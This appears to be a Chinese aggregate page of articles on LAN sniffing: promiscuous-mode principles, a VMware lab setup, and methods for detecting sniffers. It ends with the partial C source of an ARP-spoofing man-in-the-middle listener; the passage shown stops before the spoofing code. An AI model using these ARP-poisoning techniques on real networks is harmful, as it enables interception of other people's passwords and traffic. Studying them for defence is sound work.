精华内容
下载资源
问答
  • C++语言的局域网网络监听程序,采用MFC界面,基于socket套接字技术,可以实现捕获资源的类型分类。
  • 局域网实现监听的基本原理

    千次阅读 2004-12-02 14:24:00
    但是,当主机工作监听模式下,无论数据包中的目标地址是什么,主机都将接收(当然只能监听经过自己网络接口的那些包)。 在因特网上有很多使用以太网协议的局域网,许多主机通过电缆、集线器连在一起。当同一网络中...

    对于目前很流行的以太网协议,其工作方式是:将要发送的数据包发往连接在一起的所有主机,包中包含着应该接收数据包主机的正确地址,只有与数据包中目标地址一致的那台主机才能接收。但是,当主机工作监听模式下,无论数据包中的目标地址是什么,主机都将接收(当然只能监听经过自己网络接口的那些包)。

    在因特网上有很多使用以太网协议的局域网,许多主机通过电缆、集线器连在一起。当同一网络中的两台主机通信的时候,源主机将写有目的的主机地址的数据包直接发向目的主机。但这种数据包不能在IP层直接发送,必须从TCP/IP协议的IP层交给网络接口,也就是数据链路层,而网络接口是不会识别IP地址的,因此在网络接口数据包又增加了一部分以太帧头的信息。在帧头中有两个域,分别为只有网络接口才能识别的源主机和目的主机的物理地址,这是一个与IP地址相对应的48位的地址。

    传输数据时,包含物理地址的帧从网络接口(网卡)发送到物理的线路上,如果局域网是由一条粗缆或细缆连接而成,则数字信号在电缆上传输,能够到达线路上的每一台主机。当使用集线器时,由集线器再发向连接在集线器上的每一条线路,数字信号也能到达连接在集线器上的每一台主机。当数字信号到达一台主机的网络接口时,正常情况下,网络接口读入数据帧,进行检查,如果数据帧中携带的物理地址是自己的或者是广播地址,则将数据帧交给上层协议软件,也就是IP层软件,否则就将这个帧丢弃。对于每一个到达网络接口的数据帧,都要进行这个过程。

    然而,当主机工作在监听模式下,所有的数据帧都将被交给上层协议软件处理。而且,当连接在同一条电缆或集线器上的主机被逻辑地分为几个子网时,如果一台主机处于监听模式下,它还能接收到发向与自己不在同一子网(使用了不同的掩码、IP地址和网关)的主机的数据包。也就是说,在同一条物理信道上传输的所有信息都可以被接收到。另外,现在网络中使用的大部分协议都是很早设计的,许多协议的实现都是基于一种非常友好的、通信的双方充分信任的基础之上,许多信息以明文发送。因此,如果用户的账户名和口令等信息也以明文的方式在网上传输,而此时一个黑客或网络攻击者正在进行网络监听,只要具有初步的网络和TCP/IP协议知识,便能轻易地从监听到的信息中提取出感兴趣的部分。同理,正确的使用网络监听技术也可以发现入侵并对入侵者进行追踪定位,在对网络犯罪进行侦查取证时获取有关犯罪行为的重要信息,成为打击网络犯罪的有力手段。

    展开全文
  • 图片来自网络,如有侵权,联系我删除! 一、实验环境 Vmware WorkStation15 Red Hat 9.0 vim 编辑器 gcc编译环境 二、网卡模式讲解 网卡有4种工作模式: 1)广播模式(Broad Cast) 其物理地址是0...

    图片来自网络,如有侵权,联系我删除!

     

     

    一、实验环境

    Vmware WorkStation15

    Red Hat 9.0

    vim 编辑器

    gcc编译环境

    二、网卡模式讲解

    网卡有4种工作模式:

    1)广播模式(Broad Cast)

        其物理地址是0xffffff的广播帧,工作在广播模式的网卡就收广播帧。

        PS:这也是我一开始写好程序运行后,只收到了SOURCE IP为255.255.255.255的原因

    2)多播模式(MultiCast)

        多播传送地址作为目的物理地址的帧可以被组内的其它主机同时接收,而组外主机却接收不到。但是,如果将网卡设置为多播传送模式,它可以接收所有的多播传送帧,而不论它是不是组内成员。

    3)直接模式(Direct)

        直接模式下的网卡只接收目地址是自己 Mac地址的帧

    4)混杂模式(Promiscuous)

        混杂模式下的网卡接收所有的流过网卡的帧,这也是我们的程序运行的原理

    三、更改网卡模式

    网上大多给出了无线网卡的混杂模式,这里给一下eth0的有线网卡的更改:

    ifconfig eth0 promisc 

    运行可能会出错,记得先关掉网卡,设置完再打开网卡:

    ifconfig eth0 down
    ifconfig eth0 up

    四、VMware的虚拟机网络配置讲解

    1.桥接模式(Bridged)


     

    桥接模式顺利配置应该:

    虚拟机和真实主机IP地址不同,但需要位于同一子网下,子网掩码相同,默认网关相同。

    该实验也需要在桥接模式下进行工作,另外,注意当切换模式后,Red Hat系统使用以下命令重启一下网卡:

    service network restart

    --------------------------------------------------

    PS:更新 2019年3月29日11:12:14

    部分Red Hat虚拟机为:

    /etc/init.d/network restart

    --------------------------------------------------

    2. 网络地址转换模式(NAT)

    因为校内采用DHCP上网,RED HAT 版本过早,连不上网。所以配置了NAT模式,可以用主机进行上网。

    PS:这样我就能上ftp了,把我的文件下载下来。

    NAT模å¼

    配置的时候注意:

    VMware里:

    编辑 -> 虚拟网络配置 -> 选中VMnet8

    NAT设置

    DHCP设置

    因为RED HAT版本太老,不能DHCP到地址,所以手动配置

    ①虚拟机IP地址应在 起始IP和结束IP之间,

    ②默认网关应该和上图设置一样

    ③子网掩码也和上图一样

    3. 仅主机模式(Host-only)

    Host-Only模å¼

    其实我并没有用到,但是看了前两个模式,趁机把这一个也学习一下。

    补充,NAT连不上,我就点了一下这个 已连接,然后service network restart一下,就可以连接了 

    五、代码

    其实挺简单的,环境已经说了,代码最好自己写一写!

    PS:我的报告在下面,但是里面可能有几个小错误。可能要自己改改

    https://download.csdn.net/download/boyinc0de/11052453

     

     

    展开全文
  • 网络监听在网络中的任何一个位置模式下都可实施进行。而黑客一般都是利用网络监听来截取用户口令。比如当有人占领了一台主机之后,那么他要再想将战果扩大到这个主机所在的整个局域网话,监听往往是他们选择的捷径。...
    在网络中,当信息进行传播的时候,可以利用工具,将网络接口设置在监听的模式,便可将网络
    中正在传播的信息截获或者捕获到,从而进行攻击。网络监听在网络中的任何一个位置模式下都可实
    施进行。而黑客一般都是利用网络监听来截取用户口令。比如当有人占领了一台主机之后,那么他要
    再想将战果扩大到这个主机所在的整个局域网话,监听往往是他们选择的捷径。很多时候我在各类安
    全论坛上看到一些初学的爱好者,在他们认为如果占领了某主机之后那么想进入它的内部网应该是很
    简单的。其实非也,进入了某主机再想转入它的内部网络里的其它机器也都不是一件容易的事情。因
    为你除了要拿到他们的口令之外还有就是他们共享的绝对路径,当然了,这个路径的尽头必须是有写
    的权限了。在这个时候,运行已经被控制的主机上的监听程序就会有大收效。不过却是一件费神的事
    情,而且还需要当事者有足够的耐心和应变能力。

    █网络监听的原理

    Ethernet(以太网,它是由施乐公司发明的一种比较流行的局域网技术,它包含一条所有计算机
    都连接到其上的一条电缆,每台计算机需要一种叫接口板的硬件才能连接到以太网)协议的工作方式
    是将要发送的数据包发往连接在一起的所有主机。在包头中包括有应该接收数据包的主机的正确地址,
    因为只有与数据包中目标地址一致的那台主机才能接收到信息包,但是当主机工作在监听模式下的话
    不管数据包中的目标物理地址是什么,主机都将可以接收到。许多局域网内有十几台甚至上百台主机
    是通过一个电缆、一个集线器连接在一起的,在协议的高层或者用户来看,当同一网络中的两台主机
    通信的时候,源主机将写有目的的主机地址的数据包直接发向目的主机,或者当网络中的一台主机同
    外界的主机通信时,源主机将写有目的的主机IP地址的数据包发向网关。但这种数据包并不能在协议
    栈的高层直接发送出去,要发送的数据包必须从TCP/IP协议的IP层交给网络接口,也就是所说的数据
    链路层。网络接口不会识别IP地址的。在网络接口由IP层来的带有IP地址的数据包又增加了一部分以
    太祯的祯头的信息。在祯头中,有两个域分别为只有网络接口才能识别的源主机和目的主机的物理地
    址这是一个48位的地址,这个48位的地址是与IP地址相对应的,换句话说就是一个IP地址也会对应一
    个物理地址。对于作为网关的主机,由于它连接了多个网络,它也就同时具备有很多个IP地址,在每
    个网络中它都有一个。而发向网络外的祯中继携带的就是网关的物理地址。

    Ethernet中填写了物理地址的祯从网络接口中,也就是从网卡中发送出去传送到物理的线路上。
    如果局域网是由一条粗网或细网连接成的,那么数字信号在电缆上传输信号就能够到达线路上的每一
    台主机。再当使用集线器的时候,发送出去的信号到达集线器,由集线器再发向连接在集线器上的每
    一条线路。这样在物理线路上传输的数字信号也就能到达连接在集线器上的每个主机了。当数字信号
    到达一台主机的网络接口时,正常状态下网络接口对读入数据祯进行检查,如果数据祯中携带的物理
    地址是自己的或者物理地址是广播地址,那么就会将数据祯交给IP层软件。对于每个到达网络接口的
    数据祯都要进行这个过程的。但是当主机工作在监听模式下的话,所有的数据祯都将被交给上层协议
    软件处理。

    当连接在同一条电缆或集线器上的主机被逻辑地分为几个子网的时候,那么要是有一台主机处于
    监听模式,它还将可以接收到发向与自己不在同一个子网(使用了不同的掩码、IP地址和网关)的主
    机的数据包,在同一个物理信道上传输的所有信息都可以被接收到。

    在UNIX系统上,当拥有超级权限的用户要想使自己所控制的主机进入监听模式,只需要向
    Interface(网络接口)发送I/O控制命令,就可以使主机设置成监听模式了。而在Windows9x的系统
    中则不论用户是否有权限都将可以通过直接运行监听工具就可以实现了。

    在网络监听时,常常要保存大量的信息(也包含很多的垃圾信息),并将对收集的信息进行大量
    的整理,这样就会使正在监听的机器对其它用户的请求响应变的很慢。同时监听程序在运行的时候需
    要消耗大量的处理器时间,如果在这个时候就详细的分析包中的内容,许多包就会来不及接收而被漏
    走。所以监听程序很多时候就会将监听得到的包存放在文件中等待以后分析。分析监听到的数据包是
    很头疼的事情。因为网络中的数据包都非常之复杂。两台主机之间连续发送和接收数据包,在监听到
    的结果中必然会加一些别的主机交互的数据包。监听程序将同一TCP会话的包整理到一起就相当不容
    易了,如果你还期望将用户详细信息整理出来就需要根据协议对包进行大量的分析。Internet上那么
    多的协议,运行进起的话这个监听程序将会十分的大哦。

    现在网络中所使用的协议都是较早前设计的,许多协议的实现都是基于一种非常友好的,通信的
    双方充分信任的基础。在通常的网络环境之下,用户的信息包括口令都是以明文的方式在网上传输的,
    因此进行网络监听从而获得用户信息并不是一件难点事情,只要掌握有初步的TCP/IP协议知识就可以
    轻松的监听到你想要的信息的。前些时间美籍华人China-babble曾提出将望路监听从局域网延伸到广
    域网中,但这个想法很快就被否定了。如果真是这样的话我想网络必将天下大乱了。而事实上现在在
    广域网里也可以监听和截获到一些用户信息。只是还不够明显而已。在整个Internet中就更显得微不
    足道了。

    下面是一些系统中的著名的监听程序,你可以自己尝试一下的。

    Windows9x/NT NetXRay http://semxa.kstar.com/hacking/netxray.zip

    DECUnix/Linux Tcpdump http://semxa.kstar.com/hacking/management.zip

    Solaris Nfswatch http://semxa.kstar.com/hacking/nfswatch.zip

    SunOS Etherfind http://semxa.kstar.com/hacking/etherfind012.zip

    █检测网络监听的方法

    网络监听在上述中已经说明了。它是为了系统管理员管理网络,监视网络状态和数据流动而设计
    的。但是由于它有着截获网络数据的功能所以也是黑客所惯用的伎俩之一。

    一般检测网络监听的方法通过以下来进行:

    ►网络监听说真的,是很难被发现的。当运行监听程序的主机在进听的过程中只是被动的
    接收在以太网中传输的信息,它不会跟其它的主机交换信息的,也不能修改在网络中传输的信息包。
    这就说明了网络监听的检测是比较麻烦的事情。

    一般情况下可以通过ps-ef或者ps-aux来检测。但大多实施监听程序的人都会通过修改ps的命令
    来防止被ps-ef的。修改ps只需要几个shell把监听程序的名称过滤掉就OK了。一能做到启动监听程
    序的人也绝对不是个菜的连这个都不懂的人了,除非是他懒。

    上边提到过。当运行监听程序的时候主机响应一般会受到影响变的会慢,所以也就有人提出来通
    过响应的速率来判断是否受到监听。如果真是这样判断的话我想世界真的会大乱了,说不准一个时间
    段内会发现无数个监听程序在运行呢。呵呵。

    如果说当你怀疑网内某太机器正在实施监听程序的话(怎么个怀疑?那要看你自己了),可以用
    正确的IP地址和错误的物理地址去ping它,这样正在运行的监听程序就会做出响应的。这是因为正常
    的机器一般不接收错误的物理地址的ping信息的。但正在进听的机器就可以接收,要是它的IPstack
    不再次反向检查的话就会响应的。不过这种方法对很多系统是没效果的,因为它依赖于系统的IPstack。

    另一种就是向网上发大量不存在的物理地址的包,而监听程序往往就会将这些包进行处理,这样
    就会导致机器性能下降,你可以用icmpechodelay来判断和比较它。还可以通过搜索网内所有主机
    上运行的程序,但这样做其的难度可想而知,因为这样不但是大的工作量,而且还不能完全同时检查
    所有主机上的进程。可是如果管理员这样做也会有很大的必要性,那就是可以确定是否有一个进程是
    从管理员机器上启动的。

    在Unix中可以通过ps–aun或ps–augx命令产生一个包括所有进程的清单:进程的属主和这些
    进程占用的处理器时间和内存等。这些以标准表的形式输出在STDOUT上。如果某一个进程正在运行,
    那么它将会列在这张清单之中。但很多黑客在运行监听程序的时候会毫不客气的把ps或其它运行中的
    程序修改成TrojanHorse程序,因为他完全可以做到这一点的。如果真是这样那么上述办法就不会有
    结果的。但这样做在一定程度上还是有所作为的。在Unix和WindowsNT上很容易就能得到当前进程的
    清单了。但DOS、Windows9x好象很难做到哦,具体是不是我没测试过不得而知。

    还有一种方式,这种方式要靠足够的运气。因为往往黑客所用的监听程序大都是免费在网上得到
    的,他并非专业监听。所以做为管理员用来搜索监听程序也可以检测。使用Unix可以写这么一个搜索
    的小工具了,不然的话要累死人的。呵呵。

    有个叫Ifstatus的运行在Unix下的工具,它可以识别出网络接口是否正处于调试状态下或者是在
    进听装下。要是网络接口运行这样的模式之下,那么很有可能正在受到监听程序的攻击。Ifstatus一
    般情况下不会产生任何输出的,当它检测到网络的接口处于监听模式下的时候才回输出。管理员可以
    将系统的cron参数设置成定期运行Ifstatus,如果有好的cron进程的话可以将它产生的输出用mail发
    送给正在执行cron任务的人,要实现可以在crontab目录下加****/usr/local/etc/ifstatus一行参数。
    这样不行的话还可以用一个脚本程序在crontab下00****/usr/local/etc/run-ifstatus。

    抵御监听其实要看哪个方面了。一般情况下监听只是对用户口令信息比较敏感一点(没有无聊的
    黑客去监听两台机器间的聊天信息的那是个浪费时间的事情)。所以对用户信息和口令信息进行加密
    是完全有必要的。防止以明文传输而被监听到。现代网络中,SSH(一种在应用环境中提供保密通信
    的协议)通信协议一直都被沿用,SSH所使用的端口是22,它排除了在不安全信道上通信的信息,被
    监听的可能性使用到了RAS算法,在授权过程结束后,所有的传输都用IDEA技术加密。但SSH并不就是
    完全安全的。至少现在我们可以这么大胆评论了。

    █著名的Sniffer监听工具

    Sniffer之所以著名,权因它在很多方面都做的很好,它可以监听到(甚至是听、看到)网上传
    输的所有信息。Sniffer可以是硬件也可以是软件。主要用来接收在网络上传输的信息。网络是可以
    运行在各种协议之下的,包括以太网Ethernet、TCP/IP、ZPX等等,也可以是集中协议的联合体系。

    Sniffer是个非常之危险的东西,它可以截获口令,可以截获到本来是秘密的或者专用信道内的
    信息,截获到信用卡号,经济数据,E-mail等等。更加可以用来攻击与己相临的网络。

    Sniffer可以使用在任何一种平台之中。而现在使用Sniffer也不可能别发现,这个足够是对网
    络安全的最严重的挑战。

    在Sniffer中,还有“热心人”编写了它的Plugin,称为TOD杀手,可以将TCP的连接完全切断。
    总之Sniffer应该引起人们的重视,否则安全永远做不到最好。

    转载于:https://www.cnblogs.com/leekenky/p/4156032.html

    展开全文
  • 网络协议学习之局域网监听技术

    千次阅读 2015-07-28 18:14:45
    当A主机网络层数据交给数据链路层时,数据就被数据链路层封装为MAC帧,MAC帧需要知道目的主机B的MAC地址。 于是在目的B的MAC未知的情况下,A主机数据链路层会向局域网广播一个ARP广播,广播的内容类似于”请问ip...

    ARP即地址解析协议,用于处理主机之间获取MAC地址与IP地址的映射问题。
    若主机A和主机B通讯。当A主机网络层数据交给数据链路层时,数据就被数据链路层封装为MAC帧,MAC帧需要知道目的主机B的MAC地址。
    于是在目的B的MAC未知的情况下,A主机数据链路层会向局域网广播一个ARP广播,广播的内容类似于”请问ip地址为aaaa的主机是谁,
    请告诉我(IP bbbb,MAC bbbbbb)你的MAC地址”,以寻求目的主机的MAC地址,目的主机收到ARP请求报文后,若发现是询问自己的硬件地
    址,那么该主机首先会将源主机的MAC-IP记录在自己的ARP告诉缓存表中,然后向请求主机发送一份ARP单播应答报文,内容类似于”我是
    aaaa,我的MAC是aaaaaa”。源主机A收到应答后遍得到了B的硬件地址,于是将B的MAC-IP存入自己的ARP高速缓存中,以便下次使用,然后
    主机A用该硬件地址填充数据帧的相应部分,再将该帧数据发送出去。
    这便是一个描述ARP协议的大致过程,其细节后面的文章会讲解。
    关于ARP缓存更新的条件,前面一篇《ARP缓存表的更新条件》已经介绍过。本文接下来介绍的是一种基于ARP协议的局域网监听技术。
    主机在接收到请求或者应答的时候都可能添加或者更新ARP条目,若通过给目的主机发送错误的ARP请求或者应答那么目的主机将会保存
    着错误的ARP条目,这样一来,将会导致目的主机的通讯受阻甚至被发送到错误的主机上,ARP欺骗攻击由此而来。ARP欺骗的手段有很多,有的可以使某一台计算机无法上网,或者整个局域网的主机都无法上网,有的可以截获用户密码,如FTP用户名与口令,有的可以DNS劫持,用户访问的网站域名被重定向到一个钓鱼网站等等。

    ARP攻击的危害性很大,目前为止没有一个完美的解决方案来处理ARP攻击,但是当您发现自己被攻击时,如主机与网关断开了,则可以通过一条简单的命令来恢复上网,即设置静态ARP条目:
    arp -s x.x.x.x xx:xx:xx:xx:xx:xx
    x.x.x.x是网关IP,xx:xx:xx:xx:xx:xx是网关mac地址,静态的arp条目是不会被更新的。
    下面这个程序演示了通过给网关G和局域网内一台主机A发送错误的ARP请求或者应答报文,使之保存错误的ARP条目,二者之间的流量被重定位到另一台主机B,该主机可以分析网关G与主机A的数据,从而实现数据监听。该程序还能转发网关与主机A之间的数据,使二者之间的通讯不中断。

    
    /** 
      * 声明:
      * 本程序使用Linux原始套接字,抓取数据链路层数据帧,实现监听截获局域网内两台主机之间或者局域
      * 网内一台主机与网关之间的通讯,并实现数据转发功能,主要用于网络抓包技术及网络通讯协议的学习、实践。
      * 您可以自由的使用,复制,修改和重新发布程序的源代码,但不提倡用于非法目的,如将本程序完善以用用盗
      * 取密码等机密信息。因非法使用本程序源码造成的后果,您应该独立承担法律责任。
      * 作者:Shifang Wen
      * 邮箱:772148609@qq.com
      * 最后修改时间:2014.6.11
      */
    #makefile for listener.
    main:main.o arp.o ip.o tcp.o udp.o
        cc -lpthread -o main main.o arp.o ip.o tcp.o udp.o
    main.o:main.c header.h ip.h tcp.h udp.h
        cc  -c main.c
    arp.o:arp.c header.h
        cc -Wall -c arp.c
    ip.o:ip.c header.h ip.h
        cc -Wall -c ip.c
    tcp.o:tcp.c header.h tcp.h
        cc -Wall -c tcp.c
    udp.o:udp.c header.h udp.h
        cc -Wall -c udp.c
    
    clean:
        rm *.o
    
    /** header file for main.c
     *  this file include the system header file neccessarily.
     *  2014.5.25
     */
    
    #ifndef _HEADER_FILE
    #define _HEADER_FILE
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <error.h>
    #include <sys/socket.h>
    #include <sys/ioctl.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/if_ether.h>
    #include <linux/tcp.h>
    #include <netpacket/packet.h>
    #include <net/if_arp.h>
    #include <net/ethernet.h>
    #include <arpa/inet.h>
    #include <net/if.h>
    #include <pthread.h>
    #include <signal.h>
    
    #endif
    /*
     * header file for ip.c
     * 2014.5.16
     */
    
    #ifndef _IP_H
    #define _IP_H
    
    struct _ip                // IP报头结构(字节顺序为小端)
    {
        unsigned char ihl:4;        // 首部长度
        unsigned char version:4;    // 协议版本
        unsigned char ser_type;        // 服务类型
        unsigned short total_len;    // 总长度
        unsigned short id;        // 分段标识
        unsigned short frag_off;    // 分段偏移
        unsigned char ttl;        // 生存时间
        unsigned char protocol;        // 上层协议
        unsigned short check;        // 检验和
        unsigned char saddr[4];        // 源IP
        unsigned char daddr[4];        // 目的IP
    }__attribute__((packed));
    
    
    
    extern void print_ip_header(const struct _ip* ptr_ip); 
    
    #endif    
    /**
     * source file ip.c,provide some moth to print ip header info.
     * 2014.5.29
     */
    
    #include "header.h"
    #include "ip.h"
    
    /**
     * 打印 IP 包头部字段
     * 参数表:
     * ip 指向ip首部的指针
     * 返回值:无
     */
    void print_ip_header(const struct _ip * ip)
    {
        printf("-----ip header-----------------------------\n");
    
        printf("ip version    :%x\n",ip->version);
        printf("ip header len   :%x\n",ip->ihl);
        printf("ip total_len    :%u\n",ntohs(ip->total_len));
        printf("id        :%u\n",ntohs(ip->id));
        printf("protocol    :%u\n",ip->protocol);
        printf("check        :%u\n",ip->check);
        printf("%d.%d.%d.%d ---->  ",ip->saddr[0],ip->saddr[1],ip->saddr[2],ip->saddr[3]);
        printf("%d.%d.%d.%d.\n",ip->daddr[0],ip->daddr[1],ip->daddr[2],ip->daddr[3]);
    }
    /**
     * 声明一个函数,该函数用于打印arp数据帧的各个字段值。
     * 2014.6.6
     */
    
    #ifndef _ARP_H
    
    #include "header.h"
    
    #define arpsha arp->arp_sha
    #define arpspa arp->arp_spa
    #define arptha arp->arp_tha
    #define arptpa arp->arp_tpa
    
    extern void  print_arp_packet(const struct ether_arp*);
    
    #endif
    /**
     * 定义一个函数,该函数用户打印arp数据帧的各个字段值。
     * 2014.6.6
     */
    
    #include "header.h"
    #include "arp.h"
    
    void print_arp_packet(const struct ether_arp * arp)
    {
        printf("----arp packet--------------------\n");
    
        printf("arp ar_hdr    : %u\n",ntohs(arp->ea_hdr.ar_hrd));
        printf("arp ar_pro     : %.4x\n",ntohs(arp->ea_hdr.ar_pro));
        printf("arp ar_hln    : %u\n",arp->ea_hdr.ar_hln);
        printf("arp ar_pln    : %u\n",arp->ea_hdr.ar_pln);
        printf("arp ar_op_type  : %.2x\n",ntohs(arp->ea_hdr.ar_op));
        printf("arp sha        : %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",arpsha[0],arpsha[1],arpsha[2],arpsha[3],arpsha[4],arpsha[5]);
        printf("arp spa        : %d.%d.%d.%d\n",arpspa[0],arpspa[1],arpspa[2],arpspa[3]);
        printf("arp tha        : %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",arptha[0],arptha[1],arptha[2],arptha[3],arptha[4],arptha[5]);
        printf("arp tpa        : %d.%d.%d.%d\n",arptpa[0],arptpa[1],arptpa[2],arptpa[3]);
    }
    
    /**
     * headar file for udp.c
     * 2014.5.28
     */
    
    #ifndef _UDP_H
    #define _UDP_H
    
    struct _udp
    {
        unsigned short source_port;    // 16位源端口
        unsigned short dest_port;    // 16位目的端口
        unsigned short packet_len;    // 16位报文长度
        unsigned short check_sum;    // 16位检验和
    }__attribute__((packed));
    
    extern void print_udp_header(const struct _udp * ptrdup);
    
    #endif
    /**
     * source file .
     * 2014.5.28
     */
    
    #include "header.h"
    #include "udp.h"
    
    void print_udp_header(const struct _udp* ptrudp)
    {
        printf("----udp header----\n");
        printf("source port     :%u\n",ntohs(ptrudp->source_port));
        printf("dest   port     :%u\n",ntohs(ptrudp->dest_port));
        printf("packet_len    :%u\n",ntohs(ptrudp->packet_len));
        printf("check_sum    :%u\n",ntohs(ptrudp->check_sum));
    }
    
    /*
     * header file that define tcp protocol header.
     * 2014.5.20
     */
    
    #ifndef _TCP_H
    #define _TCP_H
    
    struct _tcp
    {
        unsigned short source_p;    // 16位源端口
        unsigned short dest_p;        // 16位目的端口
        unsigned int seq;        // 32位序列列号
        unsigned int ack_seq;        // 32位确认号
        unsigned short res1:4;        // 4位保留
        unsigned short h_length:4;    // 4位首部长度
        unsigned short fin:1;        // 释放TCP连接位
        unsigned short syn:1;        // 同步序号,用于发起连接
        unsigned short rst:1;        // 重置或者拒绝一个连接
        unsigned short psh:1;        // 若被置位则数据立即交付,无需缓冲
        unsigned short ack:1;        // 若被置一表明ack_seq有效
        unsigned short urg:1;        // 若被置一表明紧急指针有效
        unsigned short res:2;        // 2位保留位
        unsigned short window;        // 16位窗口大小
        unsigned short check;        // 16位TCP报文检验和
        unsigned short urg_ptr;        // 16位紧急指针
    }__attribute__((packed));
    
    extern void print_tcp_header(const struct _tcp *tcp);
    
    #endif
    /**
     * source tcp.h
     * use to print tcp header structure.
     * 2014.5.26
     */
    
    #include "header.h"
    #include "tcp.h"
    
    void print_tcp_header(const struct _tcp *tcp)
    {
        printf("-----tcp header----------------\n");    
        printf("source port     :%u\n",ntohs(tcp->source_p));
        printf("destinator port :%u\n",ntohs(tcp->dest_p));
        printf("seq        :%u\n",ntohl(tcp->seq));
        printf("ack_seq            :%u\n",ntohl(tcp->ack_seq));
        printf("header length   :%u\n",tcp->h_length);
        printf("urg        :%u\n",tcp->urg);
        printf("ack        :%u\n",tcp->ack);
        printf("psh         :%u\n",tcp->psh);
        printf("rst        :%u\n",tcp->rst);
        printf("syn        :%u\n",tcp->syn);
        printf("fin        :%u\n",tcp->fin);
        printf("window        :%u\n",ntohs(tcp->window));
        printf("check        :%u\n",ntohs(tcp->check));
        printf("urg_ptr        :%u\n",ntohs(tcp->urg_ptr));
    }
    
    /**
     * 程序主文件。
     */
    
    #include "header.h"                    // 必要系统头文件
    #include "arp.h"                    // 自定义ARP头文件
    #include "ip.h"                        // 自定义IP头文件
    #include "tcp.h"                    // 自定义TCP头文件
    #include "udp.h"                    // 自定义UDP头文件
    
    #define ETHER_BUF_LEN    60                // 不含CRC的以太网最小帧长度
    #define BUFLEN 1500                    // MTU
    #define INTER_LEN 32                    // 存放网络接口卡名称的缓冲区长度值
    #define ethd eth->ether_dhost                // struct ether_header结构成员宏定义
    #define eths eth->ether_shost
    #define _DEBUG    1                    // 调试
    /**
     * 线程参数结构
     */
    struct thread_args{
        unsigned char interface_name[INTER_LEN];    // 网络接口名称
        unsigned char target_ip1[17];            // 目标机1的点分十进制的ip字串
        unsigned char target_ip2[17];            // 目标机2的点分十进制的ip字串
        unsigned char target_mac1[ETH_ALEN];        // 目标机1的mac地址
        unsigned char target_mac2[ETH_ALEN];        // 目标机2的mac地址
    };
    
    /**
     * 函数参数结构
     */
    struct args{
        unsigned char src_mac[ETH_ALEN];        // 源mac
        unsigned char src_ip[4];            // 源IP
        unsigned char dst_ip[4];            // 目的IP
    };
    
    /**
     * 全局变量,主要是信号处理函数使用。
     */
    unsigned char global_mac1[6],global_mac2[6],global_ip1[17],global_ip2[17];
    unsigned char ifname[64];
    int thread_stop = 0;
    
    /**
     * struct ether_arp结构字段宏定义,简化访问。
     */
    #define arpsha arp->arp_sha
    #define arpspa arp->arp_spa
    #define arptha arp->arp_tha
    #define arptpa arp->arp_tpa
    
    /**
     * 打印以太网帧头部字段。
     * 参数表:
     * buffer;指向以太网帧首部的指针。
     * 返回值:无。
     * 2014.5.26
     */
    void print_ether_header(const char *buffer)
    {
        struct ether_header *eth = (struct ether_header*) buffer;
    
        printf("-----ether frame header-------------\n");
        printf("ether_header dst mac: %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",ethd[0],ethd[1],ethd[2],ethd[3],ethd[4],ethd[5]);
        printf("ether_header src mac: %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",eths[0],eths[1],eths[2],eths[3],eths[4],eths[5]);
        printf("ether_header    type: %.4x\n",ntohs(eth->ether_type));
    }
    
    
    /**
     * 功能:查看接收到的报文是否是arp报文,且是对本次请求的应答报文。
     * 参数表:
     * args_ptr:包含本地地址信息。
     * arp: 存放接收到的arp报文缓冲区指针。
     * 返回值:若匹配,返回0,不匹配返回-1.
     * 2014.6.11
     */
    int arp_match(struct args*args_ptr,unsigned char *buffer)
    {
        struct ether_header * eth = (struct ether_header*) buffer;
        struct ether_arp *arp = (struct ether_arp*)(buffer+sizeof(struct ether_header));
    
        if((ntohs(eth->ether_type) == 0x0806) && (ntohs(arp->ea_hdr.ar_op) == ARPOP_REPLY)){
    
            if((memcmp(args_ptr->src_mac,arp->arp_tha,ETH_ALEN) == 0)
             &&(memcmp(args_ptr->src_ip,arp->arp_tpa,4) == 0)
             &&(arp->ea_hdr.ar_op == htons(ARPOP_REPLY))){
            #ifdef _DEBUG
                printf("match sucessful\n");
            #endif
                return 0;    
            }
        }
    
        return -1;
    }
    
    /**
     *  发送arp请求获取目标主机的mac地址。
     *  参数表:
     *  net_dev_name:网络接口名称。
     *  remote_ip:要获取mac地址的主机ip地址。
     *  remote_mac:出口参数,若函数成功,该参数被赋值。
     *  返回值:0成功,-1失败。
     */
    int get_mac_by_ip(char *net_dev_name,char *remote_ip,char *remote_mac)
    {    
        int sockfd,num;
        unsigned char sendbuffer[ETHER_BUF_LEN];
        unsigned char recvbuffer[ETHER_BUF_LEN];
        struct sockaddr_ll to;
        struct ifreq ifr;
        struct in_addr local_addr,target_addr;
        struct args arg;
        struct timeval timeout;
        timeout.tv_usec = 0;
        timeout.tv_sec = 1;
    
        struct ether_header * eth = (struct ether_header *) sendbuffer;    
        struct ether_arp * arp = (struct ether_arp *) (sendbuffer + sizeof(struct ether_header));
        struct ether_header * ethr = (struct ether_header*) recvbuffer;
        struct ether_arp * arpr = (struct ether_arp*) (recvbuffer + sizeof(struct ether_header));
    
        unsigned char src_mac[ETH_ALEN];
        unsigned char dst_mac[]={0xff,0xff,0xff,0xff,0xff,0xff};
    
        bzero(&to,sizeof(to));
        bzero(&ifr,sizeof(ifr));
        bzero(&local_addr,sizeof(local_addr));
        bzero(&target_addr,sizeof(target_addr));
    
        strcpy(ifr.ifr_name,net_dev_name);
    
        sockfd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ARP));
    
        if(ioctl(sockfd,SIOCGIFINDEX,&ifr) == -1){
            perror("get dev index error");
            exit(1);
        }
    
        /**
          *设置接收超时为1秒
         */
        if(setsockopt(sockfd,SOL_SOCKET,SO_RCVTIMEO,&timeout,sizeof(timeout)) == -1){
            perror("setsockopt error");
            exit(1);
        }
    
    
        to.sll_ifindex = ifr.ifr_ifindex;
        bind(sockfd,(struct sockaddr*)& to,sizeof(to));
        if(ioctl(sockfd,SIOCGIFADDR,&ifr) == -1){
            perror("get dev ip error");
            exit(1);
        }
    
        local_addr.s_addr = ((struct sockaddr_in*)&(ifr.ifr_addr))->sin_addr.s_addr;
        inet_pton(AF_INET,remote_ip,&(target_addr.s_addr));
        printf("target ip :%s\n",inet_ntoa(target_addr));
        printf("local ip address %s\n",inet_ntoa(local_addr));
    
